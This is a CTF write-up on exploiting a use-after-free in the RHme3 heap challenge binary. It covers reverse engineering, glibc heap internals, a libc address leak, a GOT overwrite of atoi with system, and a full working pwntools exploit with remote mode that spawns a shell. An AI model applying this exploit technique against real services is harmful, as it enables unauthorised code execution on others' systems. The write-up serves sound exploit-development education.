Sup folks! I hope you are all doing great. It’s been a long time since my last CTF write-up. The main reason is because I was trying to master the beast called heap exploitation and I’ve yet to learn a ton about it. To showcase one of the modern ways to pwn a heap-based vulnerable binary, I’ll use a binary that was provided during the RHme3 CTF.

This post might be a shocking example to some of you as to how C/C++ programmers can easily get their binaries pwned in no time if they don’t know what they are doing at the lowest level.

Anyway, RHme3 CTF quals was going on a couple of weeks ago and unfortunately I wasn’t available to play on time so I downloaded the pwnable to mess with it offline. This certain pwnable has to do with heap exploitation, though not really advanced stuff. Knowing that in order to master heap, a write-up is never enough, I’ll link down below some resources I used to make myself familiar with malloc’s / free’s algo.

In order to make this write-up short and not an entire book, If this is your first time touching on heap internals, you might want to have a look at the references I’ve provided below (I’ll be using them to explain a couple of terms) because I will not go into the theory behind the internals, that’s your job to do. Just keep in mind that heap is no joke (unless you are mentally gifted) and you shouldn’t expect to understand / manipulate it not even within the first 10-20 tries.

Let the fun begin!

Binary Review

Let’s start with the all-time classic recon phase, let’s run the binary!

Welcome to your TeamManager (TM)! 0.- Exit 1.- Add player 2.- Remove player 3.- Select player 4.- Edit player 5.- Show player 6.- Show team Your choice:

We’re presented with the above menu. In general, most of the heap pwnables regarding CTFs are menu-driven binaries, so after plenty of practice, reverse engineering becomes less and less tedious.

After messing around with the binary’s funcionality, the conclusions are the following:

We get to create players in order to form a team. Those players are nothing more than C structs ofcourse. Each player has the following struct attributes.

struct player { int32_t attack_pts; int32_t defense_pts; int32_t speed; int32_t precision; char *name; }

We get to show / dump / edit the team’s or the player’s info.

We get to delete a player from the team.

Note that in order to do the two aforementioned actions, we need to first select the player by entering an idex. Really important info to remember for later.

Alright, enough with the high-level stuff, let’s get dirty with assembly.

Reverse Engineering

I’ll be focusing on the core functions of the binary.

.: Player Allocation :.

The go-to function for heap pwnables is the one which allocates memory for an object (a player in our case). That’s the one with the juiciest info. Let’s investigate what it does.

Tip #1: Note that we don’t need to reverse engineer the entire binary. The most important part in Reverse Engineering is knowing what to reverse. Meaning, most of the analysis will happen dynamically, but it’s wise to get a quick idea of the binary’s internals via static analysis.

Tip #2: Most heap-based binaries need to keep track of the dynamically allocated objects. There’s usually a global array of struct pointers in order to do that. Makes sense, right? That being said, let’s quickly prove this assumption.

We have the following two lines of assembly in the beginning of the addPlayer function.

00401848 mov rax, qword [rax*8+0x603180] 00401850 test rax, rax

Just those two lines are enough for an exploit-dev person to figure out what this whole function does, and trust me, the function is big. I know some of you might wanted me to showcase the entire disassembly, but when you have to pwn binaries for 48-hours straight, you have to be crazy fast and effective. So let’s make some more assumptions.

There’s this interesting address 0x603180, from which we read its content depending on the value of rax. This is classic array indexing.

There’s a check against the content of that array value. A check to see if it’s NULL ofcourse. Why though? As I said in tip #2, the program needs to keep track of those allocated player objects.

Since it’s an allocation function, it’s pretty likely that it allocates a new player object and stores its pointer into that index depending on the result of the check.

At the end of the function there’s also this line right before it exits:

00401af8 mov qword [rax*8+0x603180], rdx

It uses again the same indexing method, but this time to store in that entry the value rdx holds. I believe it’s safe to assume that the player allocation happens in the following manner:

Check if there’s an available entry in the global array for allocation. If the answer to the previous check is yes, ask the user for the player’s info. Once the user is done, store the new allocated player’s address inside the global array.

.: Player Selection :.

Coolio, the analysis goes well so far. Before we fire up GDB, let’s check out the function that selects a player. My senses are telling me that there might be a bug there

00401c8b mov eax, dword [rbp-0x14] 00401c8e mov rax, qword [rax*8+0x603180] 00401c96 mov qword [rel selected], rax

Once again, from an exploit-dev standpoint, just those 3 lines are more than enough to understand the functionality of the function.

eax gets the value stored in the local variable at offset rbp - 0x14. That’s 100% the index we entered in the prompt.

eax is indeed used as an index into that global array.

rax now holds the content (the address of a player’s object in that case) of that array entry and it stores is inside another global variable’s address called selected.

Although the binary is not stripped, the aforementioned conclutions would be as easy to make as if it was stripped.

Dynamic Analysis

Enough with the assembly, let’s get the ball rolling! First things first, let’s check out the player allocation in action by stepping through my exploit in GDB.

Note: As I said before, this is not a beginner friendly write-up. If you’re new to heap internals, I strongly advice you to go through the reference links. Although I’ll give a quick overview of some of the internals, to really understand the whys and hows of my exploit, it’s better to have a clear and deep understanding of how the heap actually works.

def alloc(name, attack = 1, defense = 2, speed = 3, precision = 4): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('name: ') p.sendline(name) p.recvuntil('points: ') p.sendline(str(attack)) p.recvuntil('points: ') p.sendline(str(defense)) p.recvuntil('speed: ') p.sendline(str(speed)) p.recvuntil('precision: ') p.sendline(str(precision)) return def pwn(): alloc('A'*0x60)

(gdb) x/80gx 0x604000 actual player chunk --> 0x604000: 0x0000000000000000 0x0000000000000021 Pointer returned by malloc --> 0x604010: 0x0000000200000001 0x0000000400000003 player's name chunk --> 0x604020: 0x0000000000604030 0x0000000000000071 0x604030: 0x4141414141414141 0x4141414141414141 0x604040: 0x4141414141414141 0x4141414141414141 0x604050: 0x4141414141414141 0x4141414141414141 0x604060: 0x4141414141414141 0x4141414141414141 0x604070: 0x4141414141414141 0x4141414141414141 0x604080: 0x4141414141414141 0x4141414141414141 top chunk --> 0x604090: 0x0000000000000000 0x0000000000020f71

Cute, so what do we have here? We allocated a new player. As you can see from the image above, the player object is by default allocated with a size of 0x20 (the last bit is set in order signify that the previous chunk is in use. Again, check the reference links.) and for its name (of size 0x60), there’s a malloc pointer pointing to a new allocated chunk which is used just to store its name.

Let’s move on with the next allocation. I’ll start using a more generic naming convention for the player chunks.

alloc('B'*0x60)

(gdb) x/80gx 0x604000 0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0 0x604010: 0x0000000200000001 0x0000000400000003 0x604020: 0x0000000000604030 0x0000000000000071 0x604030: 0x4141414141414141 0x4141414141414141 0x604040: 0x4141414141414141 0x4141414141414141 0x604050: 0x4141414141414141 0x4141414141414141 0x604060: 0x4141414141414141 0x4141414141414141 0x604070: 0x4141414141414141 0x4141414141414141 0x604080: 0x4141414141414141 0x4141414141414141 0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 0x6040a0: 0x0000000200000001 0x0000000400000003 0x6040b0: 0x00000000006040c0 0x0000000000000071 0x6040c0: 0x4242424242424242 0x4242424242424242 0x6040d0: 0x4242424242424242 0x4242424242424242 0x6040e0: 0x4242424242424242 0x4242424242424242 0x6040f0: 0x4242424242424242 0x4242424242424242 0x604100: 0x4242424242424242 0x4242424242424242 0x604110: 0x4242424242424242 0x4242424242424242 0x604120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk

Because the array indexing happens as always from 0, I used player 0 for the 1st player object and so on. Just an FYI in case you got confused.

Let’s finish with the allocations for now.

alloc('C'*0x80) alloc('D'*0x80)

(gdb) x/90gx 0x604000 0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0 0x604010: 0x0000000200000001 0x0000000400000003 0x604020: 0x0000000000604030 0x0000000000000071 0x604030: 0x4141414141414141 0x4141414141414141 0x604040: 0x4141414141414141 0x4141414141414141 0x604050: 0x4141414141414141 0x4141414141414141 0x604060: 0x4141414141414141 0x4141414141414141 0x604070: 0x4141414141414141 0x4141414141414141 0x604080: 0x4141414141414141 0x4141414141414141 0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 0x6040a0: 0x0000000200000001 0x0000000400000003 0x6040b0: 0x00000000006040c0 0x0000000000000071 0x6040c0: 0x4242424242424242 0x4242424242424242 0x6040d0: 0x4242424242424242 0x4242424242424242 0x6040e0: 0x4242424242424242 0x4242424242424242 0x6040f0: 0x4242424242424242 0x4242424242424242 0x604100: 0x4242424242424242 0x4242424242424242 0x604110: 0x4242424242424242 0x4242424242424242 0x604120: 0x0000000000000000 0x0000000000000021 <-- player 2 0x604130: 0x0000000200000001 0x0000000400000003 0x604140: 0x0000000000604150 0x0000000000000091 0x604150: 0x4343434343434343 0x4343434343434343 0x604160: 0x4343434343434343 0x4343434343434343 0x604170: 0x4343434343434343 0x4343434343434343 0x604180: 0x4343434343434343 0x4343434343434343 0x604190: 0x4343434343434343 0x4343434343434343 0x6041a0: 0x4343434343434343 0x4343434343434343 0x6041b0: 0x4343434343434343 0x4343434343434343 0x6041c0: 0x4343434343434343 0x4343434343434343 0x6041d0: 0x0000000000000000 0x0000000000000021 <-- player 3 0x6041e0: 0x0000000200000001 0x0000000400000003 0x6041f0: 0x0000000000604200 0x0000000000000091 0x604200: 0x4444444444444444 0x4444444444444444 0x604210: 0x4444444444444444 0x4444444444444444 0x604220: 0x4444444444444444 0x4444444444444444 0x604230: 0x4444444444444444 0x4444444444444444 0x604240: 0x4444444444444444 0x4444444444444444 0x604250: 0x4444444444444444 0x4444444444444444 0x604260: 0x4444444444444444 0x4444444444444444 0x604270: 0x4444444444444444 0x4444444444444444 0x604280: 0x0000000000000000 0x0000000000020d81 <-- top chunk

Here’s a memory view of the global array which holds the player struct pointers:

(gdb) x/4gx 0x603180 0x603180 <players>: 0x0000000000604010 0x00000000006040a0 0x603190 <players+16>: 0x0000000000604130 0x00000000006041e0

Sweet, we have officially created our team. Now what? After all, we’re here to pwn! Well, I purposely left out a crucial part of our static recon for this phase of our analysis.

UAF Vulnerability

Heap is all about _malloc_ating memory and free-ing memory. However, if free-ing isn’t managed correctly, there can be major leaks, all the way up to arbitrary code execution! What do I mean by that? Let’s check out how deleting a player actually happens.

[...] /* index */ 00401b9c mov eax, dword [rbp-0x1c] /* player struct pointer */ 00401b9f mov rax, qword [rax*8+0x603180] 00401ba7 mov qword [rbp-0x18], rax 00401bab mov eax, dword [rbp-0x1c] /* Mitigate double-free, good shit */ 00401bae mov qword [rax*8+0x603180], 0x0 00401bba mov rax, qword [rbp-0x18] /* player's name pointer */ 00401bbe mov rax, qword [rax+0x10] 00401bc2 mov rdi, rax 00401bc5 call free /* player's chunk */ 00401bca mov rax, qword [rbp-0x18] 00401bce mov rdi, rax 00401bd1 call free [...]

The player’s name is free’d first and then the player’s chunk itself. But oh my, do you see what I see?! As I mentioned above, when we want to show a player we have to select it beforehand. But, the above assembly snippet doesn’t zero out the global selected variable! This is a major logic bug because that practically means we can still print a player’s content even if it’s free!

This is how the show function works:

/* Global variable holding a player pointer */ [...] 004020f2 mov rax, qword [rel selected] 004020f9 mov rdi, rax 004020fc call show_player_func [...]

As you can see, it receives as an argument the content of the selected variable, which is a player struct pointer as we’ll see soon in GDB. If you still don’t understand the vulnerability, don’t worry, I’ll get back to it shortly.

Heap Theory Crash Course

In modern systems, ASLR is (and should be) turned on. That being said, in order to get our beloved shell, we need to call system() with sh as its argument. However, we don’t know its address beforehand, but we can leak a certain libc address which will help us calculate its base address and afterwards get the exact location of system()! All of this, thanks to the Use-After-Free vulnerability.

Now before we begin, let me give you a super, duper, uber, quick, high level crash course on how malloc / free handles chunks. I will not spoil the satisfaction of understanding the heap in-depth, so you better do some research afterwards (check the references for details). After a little bit of theory, I’ll provide some visuals as we go through the rest of the exploit.

Malloc manages chunks differently depending on their sizes. Before, I get into that, here’s a beautiful visual of a malloc’d and free’d chunk taken from here.

struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };

Malloc’d chunk

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Free’d chunk

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |A|0|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|0| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

There are 3 core chunk types:

Fast chunks - Refer to small sized chunks

Small chunks - Refer to not so small sized chunks

Large chunks - Refer to quite massive sized chunks

Now, off to the meat of the story.

When a chunk gets free’d, it’s put in a list. That list is either a single-linked list or a circular double-linked list. As you can imagine, not all types of chunks get placed in the same list. Basically, there is the so called fastbin, smallbin, unsorted bin and largebin.

.: Fast bins :.

There are 10 fast bins. Each of these bins maintains a single linked list. Addition and deletion happen from the front of this list (LIFO). No two adjacent free fast chunks consolidate together.

.: Small bins :.

There are 62 small bins. Small bins are faster than large bins but slower than fast bins. Each bin maintains a doubly-linked list. Insertions happen at the HEAD while removals happen at the TAIL (FIFO). Small chunks may be consolidated together before ending up in unsorted bins.

.: Large bins :.

There are 63 large bins. Each bin maintains a doubly-linked list. A particular large bin has chunks of different sizes, sorted in decreasing order (i.e. largest chunk at the HEAD and smallest chunk at the TAIL). Insertions and removals happen at any position within the list. Large chunks may be coalesced together before ending up in unsorted bins.

.: Unsorted bin :.

There is only 1 unsorted bin. Small and large chunks, when freed, end up in this bin. The primary purpose of this bin is to act as a “cache layer” to speed up allocation and deallocation requests.

.: Top Chunk :.

It is the chunk which borders the top of an arena. While servicing malloc requests, it is used as the last resort.

UAF Vulnerability

Now that we’ve got a visual intuition as to what’s up with the heap, let’s continue with the exploitation part. We’ve got our 4 players allocated, let’s get the damn libc leak.

select(2) free(2)

(gdb) x/80gx 0x604000 0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0 [in use] 0x604010: 0x0000000200000001 0x0000000400000003 0x604020: 0x0000000000604030 0x0000000000000071 0x604030: 0x4141414141414141 0x4141414141414141 0x604040: 0x4141414141414141 0x4141414141414141 0x604050: 0x4141414141414141 0x4141414141414141 0x604060: 0x4141414141414141 0x4141414141414141 0x604070: 0x4141414141414141 0x4141414141414141 0x604080: 0x4141414141414141 0x4141414141414141 0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [in use] 0x6040a0: 0x0000000200000001 0x0000000400000003 0x6040b0: 0x00000000006040c0 0x0000000000000071 0x6040c0: 0x4242424242424242 0x4242424242424242 0x6040d0: 0x4242424242424242 0x4242424242424242 0x6040e0: 0x4242424242424242 0x4242424242424242 0x6040f0: 0x4242424242424242 0x4242424242424242 0x604100: 0x4242424242424242 0x4242424242424242 0x604110: 0x4242424242424242 0x4242424242424242 0x604120: 0x0000000000000000 0x0000000000000021 <-- player 2 [free] 0x604130: 0x0000000000000000 0x0000000400000003 0x604140: 0x0000000000604150 0x0000000000000091 0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0x604160: 0x4343434343434343 0x4343434343434343 0x604170: 0x4343434343434343 0x4343434343434343 0x604180: 0x4343434343434343 0x4343434343434343 0x604190: 0x4343434343434343 0x4343434343434343 0x6041a0: 0x4343434343434343 0x4343434343434343 0x6041b0: 0x4343434343434343 0x4343434343434343 0x6041c0: 0x4343434343434343 0x4343434343434343

Player 2 is officially free. But something weird happened. You should be able to notice the difference. Its name pointer still points to the same area, but instead of 0x43 values, there are address there! Libc addresses to be precise! What’s up with those? Let’s separate player 2’s info for a moment and focus on it.

0x604120: 0x0000000000000000 0x0000000000000021 <-- player 2 [free] 0x604130: 0x0000000000000000 0x0000000400000003 0x604140: 0x0000000000604150 0x0000000000000091 0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0x604160: 0x4343434343434343 0x4343434343434343 0x604170: 0x4343434343434343 0x4343434343434343 0x604180: 0x4343434343434343 0x4343434343434343 0x604190: 0x4343434343434343 0x4343434343434343 0x6041a0: 0x4343434343434343 0x4343434343434343 0x6041b0: 0x4343434343434343 0x4343434343434343 0x6041c0: 0x4343434343434343 0x4343434343434343 0x6041d0: 0x0000000000000090 0x0000000000000020 <-- player 3 [in use] 0x6041e0: 0x0000000200000001 0x0000000400000003 0x6041f0: 0x0000000000604200 0x0000000000000091

Note that player 3’s size chunk went from 0x21 to 0x20. That’s how malloc gets to know if a chunk previous to the one is currently checking is free or not, by setting the least significant bit to 0. Cool, no?

Libc has a data structure in it, called main_arena. This struct stores the HEAD and TAIL of the bin lists I described above. What do those bin lists are though?

Fastbins list

typedef struct malloc_chunk *mfastbinptr; // Array of pointers to chunks mfastbinptr fastbinsY[];

Unsorted / small / large bins list:

typedef struct malloc_chunk* mchunkptr; // Array of pointers to chunks mchunkptr bins[];

In other words, libc keeps track of the allocated chunks by storing their pointers in an array according to their sizes. In reality, each entry is a single / double-linked list which holds a pointer to a different size of chunk. Meaning, the first entry of the fastbin list will point to a free’d chunk of size 16. The second entry of the fastbin list will point to a free’d chunk of size 24 and so on. Same goes for the unsorted / small / large bin. I higly recommend to check out this link to get a visual of those lists. I can’t describe it any better than this guy, it’s just awesome.

Note that those bin lists store chunk pointers in their entries as long as they are in the boundaries of their corresponding sizes. As in, a fastbin list can’t point to a chunk that is of small chunk size. I know this might sound confusing but if you look at the link I suggested, it’ll start making sense.

Let’s get back to player 2. What happened is that its name pointer points to a chunk of small chunk size. As a result, its fd and bk will be populated with pointers to the previous and next free chunks once it’s free’d. Since this is the first chunk being free’d, both of its pointer point to the exact same location, libc ofcourse.

(gdb) heapinfoall ================== Main Arena ================== (0x20) fastbin[0]: 0x604120 --> 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 top: 0x604280 (size : 0x20d80) last_remainder: 0x0 (size : 0x0) unsortbin: 0x604140 (size : 0x90)

Looks like I’m not lying. Player’s chunk was indeed put in its corresponding fastbin list and the player’s name chunk was put in the unsorted bin.

Let’s take advantage of the program’s logic in order to leak those libc values (whose offsets from libc’s base are always the same no matter what the base address is).

(gdb) x/gx 0x603170 0x603170 <selected>: 0x0000000000604130

As you can see above, even though we free’d player 2, its address is still in the selected variable. If we call the show function now, it will read whatever address is in the selected variable, and print its content.

# The 'selected' array contains the 3rd player object # We are abusing the UAF vuln to leak libc # show_player just checks if the 'selected' array is empty # if it's not, it will print the value of the player's object # without checking if it's actually free'd or not show() p.recvuntil('Name: ') leak = u64(p.recv(6).ljust(8, '\x00')) libc = leak - 0x3c17b8 system = libc + 0x46590 log.info("Leak: 0x{:x}".format(leak)) log.info("Libc: 0x{:x}".format(libc)) log.info("system: 0x{:x}".format(system))

[*] Leak: 0x7ffff7dd37b8 [*] Libc: 0x7ffff7a12000 [*] system: 0x7ffff7a58590

Voila! We successfully leaked the pointer to main_arena and got libc’s base address! Let’s pwn the binary once and for all.

Pwning Time

Now the question is, how do we get arbitrary code execution? Instead of exploiting the binary’s logic this time, we’ll exploit both the binary’s and heap’s logic. It’s going to get tough, but the brave ones stay with me.

# Consolidate with top chunk free(3)

0x604120: 0x0000000000000000 0x00000000000000b1 <-- player 2 [free] 0x604130: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0x604140: 0x0000000000604150 0x0000000000000091 0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0x604160: 0x4343434343434343 0x4343434343434343 0x604170: 0x4343434343434343 0x4343434343434343 0x604180: 0x4343434343434343 0x4343434343434343 0x604190: 0x4343434343434343 0x4343434343434343 0x6041a0: 0x4343434343434343 0x4343434343434343 0x6041b0: 0x4343434343434343 0x4343434343434343 0x6041c0: 0x4343434343434343 0x4343434343434343 0x6041d0: 0x00000000000000b0 0x0000000000000020 <-- player 3 [free] 0x6041e0: 0x0000000000000000 0x0000000400000003 0x6041f0: 0x0000000000604200 0x0000000000020e11 <-- top chunk

Malloc does not like fragmentation, so what it did was consolidate any adjacent free chunks, update the size values of those chunks according to their coalesced sizes and lastly update the top chunk’s size value to a higher one since chunks were free’d and that means more free space to allocate.

(0x20) fastbin[0]: 0x6041d0 --> 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 top: 0x6041f0 (size : 0x20e10) last_remainder: 0x0 (size : 0x0) unsortbin: 0x604120 (size : 0xb0)

Now consider the following. What’s going to happen on the next allocation?

Remember, each player object has a default size of 0x20 and a pointer pointing to an arbitrary size chunk depending on the length of our input.

When we allocate a new chunk, malloc will check the corresponding bin list according to the size request and check if there’s an equivalent free chunk of the same size to serve back to the user. That’s the so called first-fit behavior . Keep in mind, deletion and addition in fastbins happens from the HEAD of the list. In other words, we should be expecting the player’s info to get stored at 0x6041d0 since it’s a free chunk of fastbin size and meets the 0x20 requirement.

The unsorted bin holds the address 0x604120. That’s the address of the player 2’s chunk. That was not the same address as before the free(3). That’s because malloc consolidated the adjacent free chunks and they became one entire free chunk, so it had to update the address. The code corresponding to the adjacency check is this:

/* consolidate backward */ if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); /* Classic double-linked list unlinking */ unlink(av, p, bck, fwd); }

No matter what the size of the name we enter (as long as it’s not bigger than the chunk that is currently in the unsorted bin list, 0xb0 in our case), we should get back the address 0x604120 in order to store the name. If the size is less than 0xb0, the given chunk will get split since there’s no need to give back more than what we ask for, right?

However, 0x604120 is the address of player 2’s chunk! Meaning, we can overwrite its data with our surgically picked name payload and mess with its structure. Remember, player 2 is still in the selected variable, so we can still print its content, edit it etc. What if we were able to overwrite the pointer to the original name, with a pointer of our choice (a GOT entry) and call the function edit on it? We would be able to redirect code execution. That’s an abritrary write primitive! Woohoo!

Let’s test our assumptions!

# Overwrite 3rd player's (index 2) name pointer with atoi # in order to edit it with system's address alloc('Z'*8 * 2 + p64(atoi_got)) edit(p64(system))

The function’s GOT entry I chose to overwrite was atoi. The reason for that is that atoi receives a pointer to our input in order to convert it back to an integer. What if atoi is system though? What’s going to happen if we provide sh as an argument to what it’s supposed to be atoi? Bingo

0x604120: 0x0000000000000000 0x0000000000000021 <-- new player's name [old player 2] 0x604130: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a 0x604140: 0x0000000000603110 0x0000000000000091 0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0x604160: 0x4343434343434343 0x4343434343434343 0x604170: 0x4343434343434343 0x4343434343434343 0x604180: 0x4343434343434343 0x4343434343434343 0x604190: 0x4343434343434343 0x4343434343434343 0x6041a0: 0x4343434343434343 0x4343434343434343 0x6041b0: 0x4343434343434343 0x4343434343434343 0x6041c0: 0x4343434343434343 0x4343434343434343 0x6041d0: 0x0000000000000090 0x0000000000000020 <-- new allocated player 0x6041e0: 0x0000000200000001 0x0000000400000003 0x6041f0: 0x0000000000604130

Look at that! Look at this beauty! All our assumptions were proven correct! 0x6041d0 was indeed returned back to us as storage for the new player’s info and 0x604120 was returned back to us as storage for the player’s name! We succesfully overwrote player’s 2 original name pointer with atoi’s GOT entry! With edit we’ll overwrite atoi’s entry with system’s address and once atoi is called in order to convert our input into an integer, it’s game over!

Exploit / PoC

from pwn import * atoi_got = 0x603110 def alloc(name, attack = 1, defense = 2, speed = 3, precision = 4): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('name: ') p.sendline(name) p.recvuntil('points: ') p.sendline(str(attack)) p.recvuntil('points: ') p.sendline(str(defense)) p.recvuntil('speed: ') p.sendline(str(speed)) p.recvuntil('precision: ') p.sendline(str(precision)) return def edit(name): p.recvuntil('choice: ') p.sendline('4') p.recvuntil('choice: ') p.sendline('1') p.recvuntil('name: ') p.sendline(name) p.recvuntil('choice: ') p.sendline('sh') return def select(idx): p.recvuntil('choice: ') p.sendline('3') p.recvuntil('index: ') p.sendline(str(idx)) return def free(idx): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('index: ') p.sendline(str(idx)) return def show(): p.recvuntil('choice: ') p.sendline('5') return def pwn(): alloc('A'*0x60) alloc('B'*0x60) alloc('C'*0x80) alloc('D'*0x80) select(2) free(2) # The 'selected' array contains the 3rd player object # We are abusing the UAF vuln to leak libc # show_player just checks if the 'selected' array is empty # if it's not, it will print the value of the player's object # without checking if it's actually free'd or not show() p.recvuntil('Name: ') leak = u64(p.recv(6).ljust(8, '\x00')) libc = leak - 0x3c17b8 system = libc + 0x46590 log.info("Leak: 0x{:x}".format(leak)) log.info("Libc: 0x{:x}".format(libc)) log.info("system: 0x{:x}".format(system)) log.info("Overwriting atoi with system") # Consolidate with top chunk free(3) # Overwrite 3rd player's (index 2) name pointer with atoi # in order to edit it with system's address alloc('Z'*8 * 2 + p64(atoi_got)) edit(p64(system)) p.interactive() if __name__ == "__main__": log.info("For remote: %s HOST PORT" % sys.argv[0]) if len(sys.argv) > 1: p = remote(sys.argv[1], int(sys.argv[2])) pwn() else: p = process('./main.elf') pause() pwn()

>> python rhme3.py [*] For remote: rhme3.py HOST PORT [+] Starting local process './main.elf': pid 29567 [*] Paused (press any to continue) [*] Leak: 0x7ffff7dd37b8 [*] Libc: 0x7ffff7a12000 [*] system: 0x7ffff7a58590 [*] Overwriting atoi with system [*] Switching to interactive mode $ whoami vagrant

Conclusion

That’s been it folks. Personally it was a very educational challenge and I learnt a ton about heap internals. If you feel puzzled after you’re done reading it, it’s ok, it’s perfectly reasonable. Practice makes perfect. If you have any questions, please don’t hesitate asking me either on IRC or in the comment section or via PM.

The utilities I used to inspect the heap’s memory layout were pwngdb and gef. You can find the exploit and the binary on my repo.

~ Peace!